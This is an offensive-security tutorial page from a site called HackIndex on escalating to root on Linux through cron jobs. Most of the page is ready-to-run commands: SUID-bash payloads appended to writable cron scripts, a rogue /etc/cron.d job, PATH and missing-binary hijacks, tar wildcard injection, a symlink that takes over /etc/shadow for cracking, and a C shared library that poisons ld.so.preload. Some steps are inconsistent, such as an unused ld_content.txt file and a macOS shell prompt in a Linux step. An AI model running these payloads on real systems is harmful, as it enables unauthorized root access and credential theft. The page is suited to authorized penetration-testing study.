Skip to content
HackIndex logo

HackIndex

Cron Job Privilege Escalation

8 min read Jul 10, 2026

Cron is reliable when a privileged job executes something you can influence: writable scripts, writable cron definitions, unsafe PATH usage, relative paths in writable directories, wildcard injections, unsafe temporary files, or missing binaries you can plant.

For systemd timer-based scheduled jobs see https://hackindex.io/platforms/linux/privilege-escalation/systemd-unit-and-timer-privilege-escalation.

Prerequisites Check

Grab everything cron reads across common distributions:

user@host ~ $ # Service status and log source
user@host ~ $ systemctl status cron 2>/dev/null || systemctl status crond 2>/dev/null
user@host ~ $ journalctl -u cron -u crond --no-pager -n 200 2>/dev/null
 
user@host ~ $ # Syslog-based distros
user@host ~ $ grep -R "CRON" /var/log/syslog 2>/dev/null | tail -50
user@host ~ $ cat /var/log/cron.log 2>/dev/null | tail -50
user@host ~ $ cat /var/log/cron 2>/dev/null | tail -50
 
user@host ~ $ # System-wide definitions
user@host ~ $ ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null
user@host ~ $ cat /etc/crontab 2>/dev/null
user@host ~ $ cat /etc/anacrontab 2>/dev/null
 
user@host ~ $ # Your own crontab
user@host ~ $ crontab -l 2>/dev/null

Read root's spool if accessible — this is already a misconfiguration:

user@host ~ $ ls -la /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
user@host ~ $ cat /var/spool/cron/crontabs/root 2>/dev/null
user@host ~ $ cat /var/spool/cron/root 2>/dev/null

What to note from output:

  • /etc/crontab and /etc/cron.d/* lines include a run-as user column

  • /etc/cron.{hourly,daily,weekly,monthly} run through run-parts

  • Anacron exists on endpoints where missed runs are replayed on next boot

Find Cron Activity Without Logs

On hardened systems, logs may be restricted or disabled. Use pspy to see cron processes as an unprivileged user:

user@host ~ $ chmod +x ./pspy64
user@host ~ $ ./pspy64 -pf -i 1000

Wait 2-3 minutes and watch for UID=0 processes on a regular cadence. Note the exact command line, run-as user, and schedule.

See https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools for pspy download methods including no-wget alternatives.

If pspy is unavailable, use file timestamps as a fallback — watch for mtime changes in output directories, log locations, and the scripts themselves:

user@host ~ $ # Baseline
user@host ~ $ ls -la /var/backups/ /tmp/ /opt/
user@host ~ $ sleep 65
user@host ~ $ ls -la /var/backups/ /tmp/ /opt/

Cron Execution Context

Cron does not use your interactive shell environment. It runs /bin/sh with a minimal environment (HOME, LOGNAME, SHELL, PATH). Check what PATH cron is using — this determines if PATH hijacking is viable:

user@host ~ $ grep -nE '^(SHELL|PATH|HOME|MAILTO|LANG)=' /etc/crontab /etc/cron.d/* 2>/dev/null
user@host ~ $ grep "SHELL=" /etc/crontab 2>/dev/null

If a target script expects a user profile to load credentials or PATH and sources them unsafely, that sourced file may be writable.

Writable Cron Scripts

Cleanest path — a privileged job executes a file you can modify:

user@host ~ $ # Find writable cron-controlled files
user@host ~ $ find /etc/cron* /var/spool/cron -type f -writable 2>/dev/null
 
user@host ~ $ # Group-writable scripts matching your group
user@host ~ $ find /etc/cron* -type f -group $(id -gn) 2>/dev/null
 
user@host ~ $ # Check a specific script you found in crontab
user@host ~ $ ls -lah /path/to/script.sh
user@host ~ $ getfacl -p /path/to/script.sh 2>/dev/null

If writable, append a payload:

user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /path/to/script.sh

Wait for cron to execute (up to the schedule interval), then:

user@host ~ $ /tmp/.rootbash -p

If the script is not writable but lives in a writable directory, replace it entirely:

user@host ~ $ ls -ld /path/to/
user@host ~ $ mv /path/to/script.sh /path/to/script.sh.bak
user@host ~ $ echo '#!/bin/sh' > /path/to/script.sh
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /path/to/script.sh
user@host ~ $ chmod +x /path/to/script.sh

Writable Cron Definition Files

Writable files under /etc/cron.d/ or an editable /etc/crontab let you control what runs and as which user:

user@host ~ $ ls -la /etc/crontab /etc/cron.d 2>/dev/null
user@host ~ $ find /etc/cron.d -type f -maxdepth 1 -writable 2>/dev/null
user@host ~ $ getfacl -p /etc/crontab /etc/cron.d 2>/dev/null

Important constraints:

  • Insecure Mode: Many cron versions refuse files in /etc/cron.d that are group-writable or world-writable. You will see INSECURE MODE in logs. The file will not execute even if you wrote it. Fix permissions after writing if you have the ability

  • Naming rules: On Debian-style cron, files in /etc/cron.d must use only letters, digits, underscores, and hyphens — no dots

If writable, add a job:

user@host ~ $ echo '* * * * * root cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' > /etc/cron.d/privesc

PATH Hijacking Inside Cron Scripts

Applies when a privileged script calls commands without absolute paths and the cron PATH includes a writable directory:

user@host ~ $ # Find non-absolute command usage
user@host ~ $ grep -nE '(^|[;&|\s])(tar|gzip|zip|rsync|cp|mv|python|perl|bash|sh|node|java)\b' /path/to/script.sh 2>/dev/null
 
user@host ~ $ # Check the cron PATH
user@host ~ $ grep -nE 'PATH=' /etc/crontab /etc/cron.d/* /path/to/script.sh 2>/dev/null

If the script sets PATH=/tmp:/usr/bin and calls tar without an absolute path:

user@host ~ $ echo '#!/bin/sh' > /tmp/tar
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/tar
user@host ~ $ chmod +x /tmp/tar

Wait for cron to fire.

For the full PATH hijacking technique see https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking.

Missing Binary Hijacking (Ghost Binaries)

A cron job tries to execute a binary that does not exist. If you can write to any directory in the cron PATH, plant it there:

user@host ~ $ # Check logs for command not found
user@host ~ $ grep -i "not found" /var/log/syslog /var/log/cron.log 2>/dev/null
 
user@host ~ $ # pspy output — exit 127 means command not found
user@host ~ $ ./pspy64 -pf -i 1000 | grep "exit status 127"
 
user@host ~ $ # Verify write access to cron PATH directories
user@host ~ $ ls -ld /usr/local/bin /var/tmp /tmp

If custom_backup is missing and /usr/local/bin is writable:

user@host ~ $ echo '#!/bin/sh' > /usr/local/bin/custom_backup
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /usr/local/bin/custom_backup
user@host ~ $ chmod +x /usr/local/bin/custom_backup

Wildcard Injection

When a privileged script runs a command with * in a directory you can write to, filenames become command-line arguments:

user@host ~ $ # Find wildcard usage in cron scripts
user@host ~ $ grep -RInE '\b(tar|rsync|chown|chmod|find).*\*' /etc/cron* /usr/local/bin /opt 2>/dev/null

Example — script runs: cd /var/www/html && tar -cf /backup/web.tar *

And you can write to /var/www/html:

user@host ~ $ echo '#!/bin/sh' > /var/www/html/shell.sh
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /var/www/html/shell.sh
user@host ~ $ chmod +x /var/www/html/shell.sh
 
user@host ~ $ touch /var/www/html/--checkpoint=1
user@host ~ $ touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"

When tar runs with *, the filenames expand as arguments. --checkpoint=1 triggers after the first file, --checkpoint-action executes your script.

If a root cron job runs chown, cp, or mv on files in a directory you control:

user@host ~ $ # Monitor for periodic file operations in writable dirs
user@host ~ $ watch -n 0.1 ls -la /home/$USER/reports/
 
user@host ~ $ # Example: cron runs 'chown $USER:$USER /home/$USER/reports/*'
user@host ~ $ # Before cron fires, symlink a sensitive file
user@host ~ $ ln -s /etc/shadow /home/$USER/reports/shadow_link

If root runs chown on your directory, it may follow the symlink and change ownership of /etc/shadow to your user. Then read it directly for offline cracking.

If a root cron job redirects output to a predictable file in a writable directory:

user@host ~ $ # Find redirections in cron definitions
user@host ~ $ grep -R ">" /etc/cron* /etc/crontab 2>/dev/null

If cron writes to /tmp/output.log, symlink it to a sensitive target before the job runs:

user@host ~ $ ln -sf /etc/ld.so.preload /tmp/output.log

When the job runs and writes to /tmp/output.log, it actually writes to /etc/ld.so.preload. Poison it with a path to a malicious shared library:

/tmp/privesc.c

#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
    setuid(0); setgid(0);
    system("cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash");
}
user@host ~ $ gcc -shared -fPIC -o /tmp/privesc.so /tmp/privesc.c
user@host ~ $ echo '/tmp/privesc.so' > /tmp/ld_content.txt
user@host ~ $ ln -sf /etc/ld.so.preload /tmp/output.log
user@host ~ $ # Wait for cron to write — content ends up in ld.so.preload

Anacron and at/batch

Anacron runs missed jobs after a system resumes — check its timestamp files for manipulation opportunities:

guest@Guests-MacBook-Air Desktop % ls -la /var/spool/anacron/
guest@Guests-MacBook-Air Desktop % cat /var/spool/anacron/cron.daily 2>/dev/null

The timestamp file contains the last run date. If writable, set it to an old date to force a missed-run replay on next boot.

at and batch schedule one-time jobs and are frequently overlooked:

user@host ~ $ # List pending at jobs
user@host ~ $ atq 2>/dev/null
 
user@host ~ $ # Check at job contents (jobs run by root visible if you have permission)
user@host ~ $ ls -la /var/spool/at/ 2>/dev/null
user@host ~ $ cat /var/spool/at/a00001* 2>/dev/null

run-parts from Writable Directories

If a cron line calls run-parts on a directory you can write to:

user@host ~ $ grep -RIn "run-parts" /etc/crontab /etc/cron.d 2>/dev/null
user@host ~ $ ls -ld /path/to/dir
 
user@host ~ $ # Verify what run-parts would accept (no dots in filenames)
user@host ~ $ run-parts --test /path/to/dir 2>/dev/null

If writable, add a script using only letters, digits, underscores, and hyphens in the name:

user@host ~ $ echo '#!/bin/sh' > /path/to/dir/privesc
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /path/to/dir/privesc
user@host ~ $ chmod +x /path/to/dir/privesc

References